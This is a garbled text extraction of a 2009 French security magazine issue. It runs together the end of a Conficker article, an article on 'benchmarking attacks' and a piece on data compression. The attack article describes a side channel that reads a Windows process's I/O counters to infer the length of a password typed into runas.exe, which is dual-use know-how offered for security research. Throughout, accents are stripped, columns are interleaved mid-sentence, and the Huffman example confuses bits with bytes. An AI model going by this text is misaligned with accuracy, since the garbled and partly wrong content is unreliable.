Conficker a rveill la scurit informatique dans les entreprises. la diffrence des vers comme Sasser qui exploitaient uniquement une faille bien prcise, Conficker a su se diffuser en exploitant la principale faille de scurit de tous les systmes dinformation : les mots de passe triviaux. Les entreprises qui pensaient assurer leur scurit informatique en patchant les postes un mois aprs la publication du correctif ont vu tomber leur ligne de dfense: peine 15 jours aprs la publication en urgence du correctif, des vers se diffusaient dj sur les rseaux et sintroduisaient mme dans les machines o le correctif avait t appliqu. Les entreprises ralisant une veille quotidienne appliquant une politique de scurit efficace et qui auditent la scurit de leurs rseaux ont t plus pargnes que les autres. La publication dun correctif Microsoft hors cycle a mis la puce loreille des RSSI consciencieux, qui ont immdiatement demand lapplication du correctif et effectu un suivi prcis de lactualit.

Frederic Charpentier

Il est expert en tests d'intrusion et en audit de scurit. Frdric intervient sur des sujets comme les audits de scurit, le PCI-DSS, la scurit des applications en-ligne et le conseil en architecture scurit. Fort de nombreuses expriences d'audit scurit auprs des socits du CAC40, Frdric est aujourd'hui le Directeur Technique du cabinet Xmco Partners, socit spcialise en audit et conseil en scurit informatique.

34

HAKIN9 3/2009

CONFICKER

3/2009 HAKIN9

35

FOCUS Benchmarking attacks


Degr de difficult

Il existe toutefois des mthodes permettant dobtenir des informations prives dune application sans mettre en dfaut son mode dexcution et laissant lapplication et son environnement parfaitement intgres sur le systme. Cest lenjeu des attaques par indicateurs ou benchmarking attacks.

ans le langage courant lopration de benchmarking regroupe un ensemble doprations visant mesurer la performance dun systme particulier. Les fondamentaux dun benchmark sont : la construction dun ensemble dindicateurs pertinents au regard des objectifs atteindre : les indicateurs portent sur des fonctions particulires dun systme et/ou le systme dans sa globalit, La ralisation de mesures fiables et objectives : les oprations de mesure ne doivent pas impacter les rsultats. Il faut de plus reflter du mieux possible la ralit des choses mesures, do la normalisation de nombreux indicateurs. Cela nexclut pas lutilisation dindicateurs, la reproductibilit sur des systmes similaires ceux pour lesquels il a t conu : de cette manire il est possible dtablir des rsultats comparatifs. Dans le cas o les rsultats dun benchmark nont pas vocation tre exploits dans une dmarche comparative ils sont alors employs pour ltablissement de calculs de performances absolues, quil sagisse de performances nergtiques, financires ou temporelles. Ils serviront alors de supports pour la prise de dcision, ltablissement de plannings, ltude de projets, etc.

procds pour augmenter leur taille de march ou amliorer leurs performances conomiques. Les benchmarks ont ici vocation produire toute une srie dindicateurs sur la situation de lentreprise vis-vis de son march. Dans le cas o le benchmark est purement tourn vers lintrieur de lentreprise, sans ralisation de comparatif, il sagira alors didentifier les goulots dtranglement et les freins dans les diffrentes activits de production.

Le benchmarking en informatique

CET ARTICLE EXPLIQUE...


Des mthodes danalyse du comportement dapplications pouvant mettre en dfaut la scurit dun systme.

CE QUIL FAUT SAVOIR...


Notions de base en scurit. 36 HAKIN9 3/2009

En commerce lorsque les marchs se resserrent la plupart des comptiteurs cherchent de nouveaux

Les plus basiques des indicateurs de performance en informatique sont bien entendus ceux bass sur le temps de calcul. Lorsque lon effectue la mesure dun nombre cyclique et rpt doprations en un temps limit on prcise une vitesse de calcul sur un type doprations donn. Mais une mesure de vitesse ne peut que rarement reprsenter la puissance dun objet part entire. Ainsi pour dsigner au grand public la vitesse dun processeur les fabricants se basent sur la frquence dhorloge du processeur, mesure en hertz. Un gigahertz quivaut ainsi lexcution dun milliard de cycles dhorloges par seconde. Or un cycle dhorloge ne correspond que rarement lexcution dune instruction processeur. Il faut trs souvent plusieurs cycles dhorloge pour excuter une instruction, ce qui rend cet indicateur de vitesse plus quapproximatif. Lindicateur des constructeurs est galement soumis dautres alas. Entre autres : le jeu

ATTAQUES PAR INDICATEURS


dinstruction du processeur variant dun modle lautre ou lenvironnement des optimisations matrielles (ex. la mmoire cache). Deux processeurs frquence dhorloge quivalente peuvent ainsi offrir des diffrences notables en termes de performance. Pour rpondre une problmatique globale il faut construire des indicateurs de plus haut niveau. Sur lexemple prcdent nous pouvons calculer le nombre moyen doprations excut rellement par le processeur en une seconde. Cest le rle des valeurs en MIPS (million dinstruction par seconde). Avec ce nouvel indicateur nous pouvons dsormais comparer diffrents processeurs entre eux, mais ce ne sera pas suffisant pour effectuer un classement pertinent : l encore les alas de lenvironnement sont trop importants et selon le type de programme en cours dexcution les rsultats peuvent se rvler trs diffrents. Do la ncessite de recourir finalement plusieurs indicateurs, chacun mesurant un aspect exclusif de lobjet dtermin. Le benchmark en informatique nait de lutilisation de ces indicateurs multiples. Au fil du temps les modles de benchmark fournissent des grilles dvaluation de plus en plus troites pour rendre compte de la diversit des fonctionnalits ltude et des rsultats en termes de performance. Ainsi le site CPUBenchmark [1] ralise-t-il ses comparatifs de processeurs en sappuyant sur huit indicateurs spcifiques bass sur des tests de compression, de chiffrement, de calcul 3D, de traitement de chaines de caractres, etc. scurit. Peut-tre est-ce du au fait que ces attaques se font par biais vis--vis de leur objet dtude et non de manire directe. Cela ne doit pas occulter leur potentiel de dangerosit, tout aussi important que les autres techniques dexploitation de failles. Un exemple ? En Avril 2005 David J. Bernstein publie un papier de recherche [2] dans lequel il dmontre quil est possible de casser une clef AES 128 bits en analysant le temps de rponse dun serveur implmentant la librairie OpenSSL. Qui est blmer ? Lalgorithme standardis AES lui-mme ! Ou plutt sa modlisation qui rend son implmentation dans notre appareillage technologique moderne faillible une observation discrte. Plus pragmatique, Marco Ivaldi a dmontr en 2003 [3] que SSH utilis en conjonction avec PAM (Pluggable Authentication Module) permettait de deviner des noms dutilisateurs distance. La faille ? Lorsque le systme en vient vrifier le mot de passe de lutilisateur si le login est correct le systme met plus de temps ragir que lorsquil y a erreur didentification. Et il y a peine deux ans, en 2007, toujours intrigu par le problme, Ivaldi diffuse un exploit [4] ralis en script shell, dmontrant non seulement que la faiblesse reste dactualit mais galement quelle est trs simple exploiter. Quatre ans se sont couls... Cherchez lerreur ! Pour les experts les faits sont l : les timings attacks reprsentent bel et bien un boulevard lapparition de nombreux problmes en matire de scurit. Mais cette mthodologie danalyse est en fin de compte assez peu exploite car elle reste limite au seul facteur temps. Do la volont dutiliser aujourdhui de nouveaux indicateurs. la consommation de mmoire vive, le nombre de fichiers ou sockets ouverts, le volume des requtes de lecture/ criture sur disque, le nombre de threads instancies ou en cours dexcution, le nombre dappels systmes raliss, la quantit de communication ralise interprocessus, lanalyse de numros de squence, le temps dexcution (do dcoulent les timing attacks),

Certains de ces indicateurs importent peu celui qui veut mesurer la performance de son application, en revanche pour lanalyste en scurit chacun de ces indicateur peuttre utile pour dterminer, partir de simples valeurs numriques, le fonctionnement dun programme et en dduire de l des informations cruciales pour la scurit dun systme. Les benchmarking attacks consistent lutilisation de ces ensembles dindicateurs dans la recherche de failles sur des systmes informatiques. Le sens premier du Listing 1. Structure dinformation sur les oprations dEntre/Sortie (source : MSDN)
typedef struct _IO_COUNTERS { ULONGLONG ReadOperationCount; ULONGLONG WriteOperationCount; ULONGLONG OtherOperationCount; ULONGLONG ReadTransferCount; ULONGLONG WriteTransferCount; } IO_COUNTERS

La mesure du temps au service de lattaque

Lorsque lide de raliser des mesures de performances sapplique la scurit informatique il peut sortir de la botte des hackers bien des choses surprenantes. Depuis plus de quinze ans les experts ont rapport de nombreuses attaques informatiques bases sur lanalyse du temps. Ces attaques sont regroupes en une catgorie nomme timing attacks. Elles ont vocation casser des algorithmes, des mots de passe ou affaiblir la scurit dun systme grce des fuites dinformation. Si elles constituent une branche de la scurit part entire il est vrai que les timing attacks nont jamais t au premier plan des considrations en matire de

Listing 2. Structure dinformation sur lutilisation de la mmoire (source : MSDN)


typedef struct _PERFORMANCE_INFORMATION { DWORD cb; SIZE_T CommitTotal; SIZE_T CommitLimit; SIZE_T CommitPeak; SIZE_T PhysicalTotal; SIZE_T PhysicalAvailable; SIZE_T SystemCache; SIZE_T KernelTotal; SIZE_T KernelPaged; SIZE_T KernelNonpaged; SIZE_T PageSize; DWORD HandleCount; DWORD ProcessCount; DWORD ThreadCount; } PERFORMANCE_INFORMATION

Benchmarking attacks : lanalyse globale

En informatique les ingnieurs ne peuvent pas se satisfaire de simples mesures de temps dexcution pour optimiser leurs applications. Dautant plus qu un certain seuil de puissance de calcul le temps dexcution nest plus pertinent, mme exprim en millisecondes. De nombreux autres facteurs peuvent alors tre pris en compte pour mesurer lefficacit avec laquelle un programme ralise sa fonction :

3/2009 HAKIN9

37

FOCUS
un environnement local les applications critiques sont rarement conues pour ragir de manire absolument homogne lors de phases sensibles. Autrement dit il doit tre possible pour lattaquant de deviner des informations confidentielles derrire des variations dans les indicateurs de mesure dexcution ou danalyse denvironnement. La tche sera dautant plus facile que les systmes dexploitation fournissent de base toute une panoplie dindicateurs sur lactivit des logiciels. Ces indicateurs sont gnralement accessibles tous les utilisateurs, ce qui rend bien rel le champ de porte des benchmarking attacks et la difficult scuriser une application. Figure 1. Vue d'ensemble des indicateurs du Gestionnaire de tches mot benchmark est un petit peu dtourn car il ny a aucune conclusion tirer quant la performance du logiciel dans la dmarche de lattaquant. Si lattaque de benchmark se fait en rseau il y aura peu dindicateurs permettant de conduire une analyse. On va pouvoir tudier les temps de latence entre les paquets, les numros de squence dans les protocoles, certaines traces dans le trafic, le comportement de machines proximit, mais gure plus. Au contraire sur un systme local nous disposons de bien plus de matire pour mettre sous surveillance diffrents aspects du systme, quil sagisse du matriel, des applications ou de lOS. Dans dexcution pass en kernel ou user land, etc. Ce fichier fournit lui seul plus de 40 repres sur lactivit dun processus, le rpertoire task qui contient une sousarborescence similaire a /proc mais relative a chaque thread en excution par le processus, le rpertoire fd qui contient un lien vers tous les fichiers ouverts par lapplication, etc.

Les systmes et les indicateurs

Sur les systmes Linux la majeure partie des informations ayant trait aux processus du systme sont regroupes dans le ProcFS et accessibles via les fichiers de la branche /proc/[pid]/. On retrouvera ainsi, sans que la liste ne soit exhaustive : les fichiers maps et smaps qui rendent compte de lorganisation de lespace mmoire dun processus et galement de la consommation effective de mmoire au sein des espaces allous, le fichier stat, un fichier central qui contient des informations sur ltat du processus tel que le nombre de certaines erreurs rencontres lors de lexcution, le temps

Au del des donnes sur les processus le ProcFS Linux contient dautres fichiers relatifs au systme dexploitation dans son ensemble tel que /proc/diskstats qui contient des statistiques sur les I/O disques ou encore /proc/meminfo qui contient les informations gnrales sur la consommation de la mmoire vive. Avec le temps le noyau Linux se voit greff de plus en plus de fichiers statistiques descriptifs de lactivit du systme. Ces fichiers peuvent galement tre gnrs par des modules noyaux spcifiques ou des drivers. Et la majorit dentre eux transcrivent leurs rsultats dans des fichiers en lecture pour tout le monde Sur les systmes Windows la donne est un petit peu diffrente puisquil ny a pas de systme de fichier virtuel qui rende compte de lactivit du systme la manire de /proc sur Linux. Les informations accessibles par les utilisateurs sont essentiellement dlivres la demande via des appels aux API systmes Windows. En la matire le Gestionnaire de tches reste lapplication phare pour la rcupration dinformations statistiques relatives aux processus actifs sur le systme. Par dfaut le Gestionnaire de tches propose un nombre rduit dindicateurs sur les processus actifs. Il sagit essentiellement dinformations sur la consommation de CPU, de mmoire, des identifiants (PID), etc. Toutefois grce au menu de la configuration de la vue il reste possible dobtenir un descriptif largi de lactivit des programmes en excution (Figure 1). On notera notamment la possibilit dobtenir de linformation sur : le volume des Input/Output de diffrentes natures, le nombre de threads au sein du processus,

Figure 2. Courbes d'volution des indicateurs d'I/O sur /runas.exe/ pour un mot de passe blanc
38 HAKIN9 3/2009

ATTAQUES PAR INDICATEURS


RUNAS [ [/noprofile | /profile] [/env] [/netonly] ] /user:<UserName> program

Par exemple la commande :


C:\> runas /user:Administrateur explorer

les indicateurs concernant strictement les oprations dentre/sortie (I/O) et dont la structure de donnes a t dfinie dans le Cadre 2 (IO _ COUNTERS). Nous avons deux classes de trois compteurs notre disposition en ce qui concerne les I/O : trois compteurs sur le volume des I/O raliss (Read, Write, Other), que nous avons respectivement nomms ReadB, WriteB et OtherB, trois compteurs sur le nombre doprations dI/O ralises (Read, Write, Other), que nous avons respectivement nomms ReadC, WriteC et OtherC,

Figure 3. Courbes d'volution des indicateurs d'I/O sur /runas.exe/ pour un mot de passe de 5 caractres des informations pointues sur la consommation de mmoire, etc.

Pour plus de prcision nous avons rapports deux exemples (cadre 1 & 2) de structures dinformation que le systme Windows peut fournir tout utilisateur intress. Mme les utilisateurs possdant le minimum de privilges (Guest ou Invit) peuvent ausculter des applications possdant un maximum de privilges (SYSTEM). Une fois un processus identifi il est possible dobtenir son gard ces informations dtailles moyennant quelques appels systmes. Ce sont alors de nouveaux indicateurs qui peuvent-tre mis au service de benchmarking attacks complexes. Des outils plus performants que le Gestionnaire de tches seront utiles pour dmarrer ce type danalyse et lon se tournera vers des outils faits la maison ou quivalents ceux de la suite Sysinternals [5]. Dans notre cas cest sur la base des simples indicateurs sur processus que nous allons dmontrer la possibilit dobtenir du systme dexploitation des informations sensibles pouvant impacter la scurit de comptes utilisateurs. Nous porterons essentiellement notre attention sur lexcution de runas.exe, une application standard de Microsoft Windows permettant de lancer un programme sous un autre nom dutilisateur. Cette application a le mrite dtre de conception lambda et sera donc une cible idale pour une dmonstration des attaques par benchmark.

permet de lancer lexplorateur de fichiers sous le compte Administrateur moyennant le fait que lutilisateur ait connaissance du mot de passe Administrateur. Malheureusement toute application en cours dexcution dans lenvironnement de lutilisateur excutant runas peut deviner la longueur du mot de passe saisi au clavier par lutilisateur et ce en sappuyant sur une simple lecture des indicateurs fournis par le systme. Dans le cas prsent nous avons vu que les indicateurs sont nombreux, diversifis, autant que le sont leurs objets. Lanalyste averti fera galement travailler son imagination pour dnicher de nouveaux indicateurs susceptibles de servir ses intrts. Pour cette fois-ci nous allons resserrer ltude sur
P U B L

Nous avons ainsi appel la fonction GetProcessIoCounters() dans une boucle effectuant le strict minimum doprations afin de garantir que lapplication de monitoring consacrera le plus clair de son temps au relev des compteurs. Il savre que la lecture des courbes gnres par les variations dans les indicateurs nous permet non seulement de retracer les diffrentes tapes du
I C I T

Benchmarking de lapplication runas.exe

Le programme runas se lance depuis la ligne de commandes Windows. Sa syntaxe est la suivante :
3/2009 HAKIN9 39

FOCUS
que les chanes du programme sont au format UNICODE nous dduisons quil sagit l dun arrondi sur quatre caractres. Ainsi si le mot de passe fait 6 caractres le programme va arrondir la chane traite huit caracteres, qui, reprsents au format UNICODE, font 16 octets. Nous retrouvons la exactement la valeur reprsente la Figure 4. Ou autrement dit lorsque nous rcuprons la valeur 2768 nous savons que le mot de passe est compris entre au moins 5 caractres et au plus 8 caractres ce qui laisse lattaquant une marge dincertitude de trois caractres quant la longueur du mot de passe. Du point de vue de la scurit le problme qui ressort de cette simple attaque est fondamental : comment des informations statistiques sur lexcution dun programme et de son environnement peuvent-elles mettre ce point en danger la scurit des donnes traites par une application ? Les concepteurs de runas auraient pu tenter de brouiller les indicateurs mesurant la longueur du mot de passe saisi par lutilisateur mais cest en fait le systme dexploitation qui est blmer. Ce dernier ne fournit pas un support dexcution permettant un utilisateur de renforcer la scurit de ses applications en refusant (ou autorisant) certains programmes laccs ce type dinformation.

Figure 4. Diagramme des diffrences de l'indicateur Other Bytes entre un mot de passe blanc et des mots de passe de longueurs variables fonctionnement du programme mais galement de deviner la longueur du mot de passe de lutilisateur. Pour parvenir ces rsultats nous ralisons simplement quelques excutions du programme. La premire excution consiste en une tentative de lancement de runas/explorer.exe mais avec une saisie de mot de passe vide, donc incorrecte. Les rsultats des variations de compteur sont tablis dans la Figure 2. En premier temps nous constatons que la courbe ReadC associ au compteur du nombre doprations de lectures prend un point (passe de 3 4). Ce point, difficilement reprable limage, dtermine le moment o lutilisateur saisit le mot de passe. Nous avons marqu cet instant dune ligne bleu sur le diagramme. Ensuite, mais nous ne lavons pas report ici, lexcution du mme programme de multiples reprises produit des courbes hautement similaires, dont certaines lidentique, et ce quel que soit le systme dexploitation concern (XP, Vista et 2008). Cela rend le programme runas trs facile prdire dans son excution et la benchmarking attack facile reproduire sur diffrents environnements. Enfin, et cela ressort nettement sur le diagramme, la courbe OtherB qui est la plus dynamique est celle qui va nous rvler la longueur du mot de passe saisi par lutilisateur. Nous avons donc report la valeur finale de cet indicateur sur le diagramme. Si lon lance runas.exe en entrant cette fois un mot de passe correct (ici de cinq lettes), nous obtenons le diagramme de la Figure 3. Sur la Figure 3 la variation de la valeur finale de lindicateur entre une saisie de mot de passe blanc et une saisie de mot de passe correct reprsente 16 octets (2784 2768 = 16). Ya-t-il une corrlation entre la valeur finale obtenue pour une saisie vide et la valeur finale obtenue pour une saisie correcte ? Nous avons tabli un diagramme des diffrences des valeurs finales en fonction de la longueur du mot de passe, prsent la Figure 4. A la lecture du diagramme il apparait nettement que le programme laisse fuir la longueur du mot de passe saisi par lutilisateur. On constate tout dabord que le logiciel arrondi la longueur des donnes traites huit octets. Etant donn

Conclusion

Sur Internet

CPU test information Passmark CPU benchmarks http://www.cpubenchmark.net/cpu_test_ info.html, Cache-timing attacks on AES Daniel J. Bernstein (04/2005) http://cr.yp.to/antiforgery/cachetiming20050414.pdf, OpenSSH/PAM timing attack allows remote users identification Marco Ivaldi (04/2003) http://lab.mediaservice.net/advisory/ 2003-01-openssh.txt , raptor_sshtime [Open]SSH remote timing attack exploit Marco Ivaldi (02/2007) http://www.milw0rm.com/exploits/3303, Sysinternals Tools http://www.sysinternals.com.

La scurit dune application ne peut pas seulement tre une affaire de code source. Si les systmes dexploitation fournissent des protections pour laccs aux applications (entre utilisateurs diffrents par exemple) ils sont cependant peu hermtiques aux attaques par benchmark. La tendance va mme en sens inverse ! Par soucis de transparence les concepteurs de systmes fournissent travers des fichiers et des fonctions dont les accs sont mal contrls toujours plus dindicateurs et toujours plus de statistiques aux utilisateurs. De nouvelles attaques pointues et complexes mergeront dans les annes venir de ce traitement intelligent de linformation statistique. Restons sur nos gardes. Fabien Karbouci

Il est ingnieur-expert en scurit informatique, enseignant lUniversit de Valenciennes et dirige le ple Scurit de la socit Perein Consulting. Ses travaux de recherche ont notamment port sur la virologie en environnements Unix et les protections des plates-formes e-business & e-banking.

40

HAKIN9 3/2009

SecureIP Solutions

La scurit de linformation est une chose importante pour les entreprises et mme pour les particuliers. Cest pourquoi SecureIP Solutions vous propose diffrents produits et services pour protger vos prcieuses donnes tels quun service de sauvegarde en ligne, les diffrents produits BitDefender et bien plus encore. http://www.secureip.ca

NUMERANCE

NUMERANCE, Spcialise dans la scurit informatique, intervient auprs des Petites et Moyennes Entreprises, en proposant des prestations daudit, daccompagnement, et de formation. http://www.numerance.fr

Herv Schauer Consultants

Pour plus de renseignement : hakin9@hakin9.org

Herv Schauer Consultants : 17 ans d'expertise en Scurit des Systmes d'Information Nos formations techniques en scurit et ISO27001 sont proposes Paris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf Informations : formations@hsc.fr - +33 (0)141 409 704

TippingPoint

TippingPoint est un leader mondial dans la prvention des intrusions rseaux (Network IPS) de 50Mbps 10Gigabits ainsi que la vrification dintgrit de poste et le contrle daccs du rseau (NAC). Tl : 01 69 07 34 49, E-mail : francesales@tippingpoint.com http://www.tippingpoint.com

Sysdream

Cabinet de conseil et centre de formation spcialis en scurit informatique. Lexprience c'est avant tout les recherches publiques, visant amliorer la scurit des applications et des systmes dinformations. Les rsultats disponibles sur des portails de recherche, dans la presse spcialiss. http://www.sysdream.com

MICROCOMS

Microcoms est une socit spcialise dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions librales sur 6 axes principaux de l'informatique : Assister, Dpanner, Conseiller, Scuriser, Former, Maintenir. Tl. : 01.45.36.05.81 e-mail : contact@microcoms.net http://www.microcoms.net

Club .PRO

ALTOSPAM

Ne perdez plus de temps avec les spams et les virus. Scurisez simplement vos emails professionnels. ALTOSPAM est un logiciel externalis de protection de la messagerie lectronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com OKTEY 5, rue du Pic du Midi 31150 GRATENTOUR

BACKUP
SICCHIA DIDIER

Comprendre les algorithmes de compression de donnes


Degr de difficult

Certes, le volume grandissant des disques durs apporte un certain confort dans la gestion quotidienne des donnes personnelles. Nanmoins, le transfert de donnes via l'internet trouve une certaine logique dans la rduction de ces susdits volumes. Naturellement, on utilise de trs nombreuses applications afin de compresser les fichiers. A cet effet, qui n'a jamais entendu parler de ZIP ou de ses concurrents?

ais honntement, savons-nous comment les donnes sont traites afin de convenir d'un volume plus adapt l'change et au stockage? Dans cet article, nous allons expliquer les usages propres la compression de donnes. C'est aussi l'occasion de faire connaissance avec quelques ingnieux personnages qui ont marqu la mathmatique et la science de l'information moderne.

communications) qui fut repris plus tard pour la composition d'un Cette thorie se proccupe des systmes d'information, des systmes de communication et de leur efficacit. La notion de systme d'information ou de communication tant large, il en va de mme de la thorie de l'information. Ainsi, parmi les branches importantes de cette thorie de l'information, on peut notamment citer : le codage de l'information, la mesure quantitative de redondance d'un texte, la cryptographie, la compression de donnes.

Introduction la thorie de l'information


CET ARTICLE EXPLIQUE...
Les principes de la compression de donnes, La compression avec perte ou sans perte de donnes, Les diffrents algorithmes de compression, Un comparatif de diffrents logiciels de compression.

CE QU'IL FAUT SAVOIR...


Une vague ide de la composition de donnes quelconques, Savoir utiliser une application traditionnelle sous OS quelconque, Squences et principe de redondance. 42 HAKIN9 3/2009

Claude Elwood Shannon (1916 - 2001) est un ingnieur lectricien et mathmaticien amricain. Il est le pre fondateur de la thorie de l'information. Claude Shannon est connu non seulement pour ses travaux dans les tlcommunications, mais aussi pour l'originalit de ses divertissements (jonglerie, monocycle, etc.) A cet effet, il invente rgulirement des machines tranges comme une souris mcanique sachant trouver son chemin dans un labyrinthe, un robot jongleur, etc. Nanmoins, pendant la seconde guerre mondiale, Claude Shannon travaille plus srieusement pour les services secrets de l'arme amricaine et comme spcialiste en cryptographie. Il est charg de localiser de manire automatique les segments significatifs cachs dans une information brouille. Dclassifi dans les annes 1950, son travail est expos dans un rapport qui donne naissance en finalit un article (mathematical theory of

Or, cet ensemble de proprits constitue justement un traitement de donnes que l'on nomme plus simplement compression/dcompression de donnes. Effectivement, lorsque vous utilisez un logiciel de compression (comme ZIP, WinRAR ou ARJ par exemple), celui-ci code, crypte et dtermine les redondances de donnes afin de compresser le volume initial de l'information globale. Intressonsnous aux mthodes de compression depuis l'introduction propose par le professeur Shannon. La compression de donnes traite de la manire dont on peut rduire l'espace ncessaire la reprsentation d'une certaine quantit d'information. Elle a donc sa place lgitime dans notre rubrique prsente. En guise d'introduction, on peut classifier les

LA MCANIQUE DE L'INFORMATION RDUITE


mthodes de compression en deux types, compression avec perte (galement dite non conservative) et compression sans perte des donnes.

La compression avec perte de donnes

La compression sans perte de donnes

La compression est dite non conservative lorsqu'il n'y a aucune perte de donnes eu gard l'information d'origine. On parle aussi plus facilement de compactage de donnes. Il y a autant d'information aprs la compression qu'avant. Celle-ci est simplement crite d'une manire plus rduite. C'est par exemple le cas, lorsqu'on utilise un logiciel de compression tel ZIP avec un fichier texte quelconque. Les formats de fichier de compression sans perte sont reconnus grce l'extension ajoute la fin du nom de fichier. Les formats les plus courants sont notamment 7Z, ACE, ARC, ARJ, TAR, CAB, GZIP, KGB, RAR, ZIP, etc. Les standards ouverts les plus courants sont dcrits dans plusieurs RFC que vous pourrez consulter en annexe de notre dossier. Ainsi, nous allons voquer les algorithmes et les mthodes de compression de donnes les plus frquents et les plus efficaces selon analyses : L'algorithme RLE (run-lengh encoding), la compression CCITT, le codage de Huffman, la transforme de Burrows et Wheeler, les compressions selon Zempel, Ziv, Welsh, Storer et Szymanski.

Nanmoins, avant de nous plonger dans les mcaniques complexes de la compression de fichiers quelconques, abordons un court instant le principe lmentaire propre la compression de donnes avec une volont de perte et rduction de volume. Figure 1. Un encodage RLE

La compression avec pertes ne s'applique qu'aux donnes perceptuelles (habituellement sonores ou visuelles) et qui peuvent subir une compression importante sans que cela ne soit perceptible par un humain. Cette opration (la perte des informations) est irrversible puisqu'il est impossible de retrouver les compression irrversible. Cette technique est fonde sur une ide simple et bassement humaine. Effectivement, seul un sous-ensemble trs faible de toutes les images ou frquences sonores possibles possde un caractre exploitable et informatif pour l'oeil ou l'oreille humaine. Dans la pratique, notre oeil a besoin d'identifier des zones de corrlations entre pixels voisins, c'est--dire des zones contigus de couleurs voisines. Les programmes de compression s'attachent dcouvrir ces zones et les coder. C'est notamment le principe du DIVX ou du MP3 (dans le cas de donnes sonores). Puisque l'oeil ne peroit pas ncessairement tous les dtails d'une image, il est possible de rduire la quantit de donnes de telle sorte que le rsultat ressemble beaucoup l'original selon l'oeil humain. Ainsi, la problmatique de la compression avec pertes est d'identifier les possibilits de transformation de l'image ou du son tout en prservant la qualit perceptuelle. Elle permet donc de rduire un DVD de 4 Go en fichier de 700 Mo. Nous n'en dirons pas plus sur ce principe car nous allons essentiellement nous consacrer la mthode premire, comprendre la compression d'un fichier sans perte de donnes. Afin d'aboutir un ratio de compression intressant, il faut convenir d'un algorithme. Faisons simple pour commencer.

squences de pixels noirs pour le texte. Imaginons un caractre C quelconque (format 8x8 pxl) avec B pour les pixels noirs et W pour les pixels blancs : (voir Figure 1) Un encodage RLE consiste alors indiquer le nombre de pixels d'une mme couleur (une redondance de squence primaire). Le rsultat comporte en gnral moins de caractres, bien que ce ne soit pas une obligation. On obtient par exemple pour la ligne prcdente quelque chose qui pourrait se schmatiser ainsi (il y a bien compression) : 8W/1W6B1W/1W1B6W/1W1B6W/1W1B6W/ 1W1B6W/1W6B1W/8W De la mme faon, il serait possible de traduire une image scanne complexe en attribuant un ou plusieurs bits selon les couleurs. L'encodage RLE est le plus simple qui soit. Il est idal pour les compressions d'image en noir et blanc. Pour en finir avec l'explication propre cette mthode, nous pouvons citer sommairement le protocole de l'union internationale des tlcommunications, auparavant appele CCITT. Habituellement utilise pour la messagerie FAX, la compression CCITT est de type RLE avec quelques variantes afin d'optimiser l'envoi d'informations typiques. Encore une fois, c'est la redondance des squences qui fait l'objet d'un traitement particulier afin de compresser l'ensemble.

Codage de Huffman

Algorithme RLE (run-length encoding)

Le systme s'applique essentiellement des documents scanns en noir et blanc. Au lieu de coder un bit par point, on dispose d'un compteur indiquant combien de points blancs ou noirs se suivent. Comme il est rare de ne pas avoir au moins 8 pixels noirs ou 8 pixels blancs qui se suivent, et que 256 ne sont pas rares sur les endroits vierges, le systme a bien pour effet une compression. Par exemple, considrons un cran de texte noir sur fond blanc. Il sera constitu de longues squences de pixels blancs pour le fond, et de courtes

Le codage de Huffman est un algorithme de compression qui fut mis au point en 1952 par David Albert Huffman. Le principe du codage de Huffman repose sur la cration d'un arbre compos de noeuds selon les occurrences des caractres. Supposons que la phrase coder soit exercice de compression. On n, m, x, p et d ne sont cits qu'une fois. Par contre, les lettres i, r, o et s figurent deux fois chacune. Le caractre c revient trois fois et e cinq fois. Ajoutons qu'il figure aussi deux espaces. Chaque caractre constitue une des feuilles de l'arbre laquelle on associe un poids valant son nombre d'occurrences. Puis l'arbre est cr suivant un principe simple au demeurant : on associe chaque fois les deux noeuds de plus faibles poids pour donner un noeud dont le poids quivaut la somme des poids de ses fils jusqu' n'en avoir plus qu'un, la racine. On associe ensuite le code 0 la branche de gauche et le code 1 la branche de droite. Pour obtenir le code binaire de chaque caractre, on remonte l'arbre partir de la
3/2009 HAKIN9 43

BACKUP
racine jusqu'aux feuilles en rajoutant chaque fois au code un 0 ou un 1 selon la branche suivie. Il est en effet ncessaire de partir de la racine pour obtenir les codes binaires car lors de la dcompression, partir des feuilles entranerait une confusion lors du dcodage. Ainsi, Huffman propose de coder les donnes qui ont une occurrence trs faible sur une longueur binaire suprieure la moyenne et de coder les donnes trs frquentes sur une longueur binaire trs courte. Ici, pour coder notre exemple exercice de compression, nous obtenons en binaire un code de 77 octets au lieu des 184 prcdent. Il se produit une compression des donnes de plus de 57% environ. Ainsi, vous noterez que les occurrences relatives au caractre e (prsentes 5 fois donc) conduisent un code de deux octets seulement : 01 0000 01 1110 101 1100 101 01 1101 1000 01 1101 101 1111 10011 0001 1110 01 001 001 1100 1111 10010 (voir Figure 2). Ajoutons encore une dernire ide. Semblable au principe de Huffman, le codage arithmtique est une technique de compression sans perte. Normalement une chane de caractres est reprsente en utilisant un nombre fixe de bits par caractre, l'identique d'une dcomposition en code ASCII (comprendre un code binaire pour chaque caractre). Comme le Codage de Huffman, le codage arithmtique est un code longueur variable. Nanmoins, ce qui diffrencie le codage arithmtique des autres codages source est qu'il encode le message entirement et le reprsente par un seul nombre. Il n'en demeure pas moins que cette alternative reste intressante plus d'un titre. de taille n'est effectue, au contraire on ajoute des donnes supplmentaires. L'intrt de BWT est plutt logique. Il s'agit d'une mthode de rorganisation des donnes car la probabilit que des caractres identiques initialement loigns se retrouvent cte cte est alors considrablement augmente. Pour tre pleinement efficace, BWT doit tre associ une technique de compression relle comme RLE ou le principe de Huffman (les deux modles figurent prcdement). En premier lieu, le texte coder doit tre dcortique dans un tableau en dcalant la chane d'un caractre vers la droite chaque nouvelle ligne. Ces lignes sont ensuite classes par ordre alphabtique. Nous savons que, grce au dcalage, chaque dernire lettre de chaque ligne prcde la premire lettre de la mme ligne, sauf pour la ligne originale dont on notera la position. De plus, comme les lignes sont ranges par ordre alphabtique, on peut retrouver la prmiere colonne du tableau grce la dernire colonne. Imaginons que nous devons coder le mot soleil. Nous procdons alors selon les deux explications prcdentes, comprendre un dcalage des caractres et un classement par ordre alphabtique. Par un hasard curieux, la position du texte original figure en premier ligne. Le texte cod est alors constitu de la dernire colonne prcde de la position du texte original, soit: 6leoisl Premire tape (rotation) :
soleil lsolei ilsole

Figure 3. Le tableau l e o i s l le ei ol il so ls lei ils lei lso ole sol eils ilso leil lsol olei sole eilso ilsol leils lsole oleil solei eilsol ilsole leilso lsolei oleils soleil

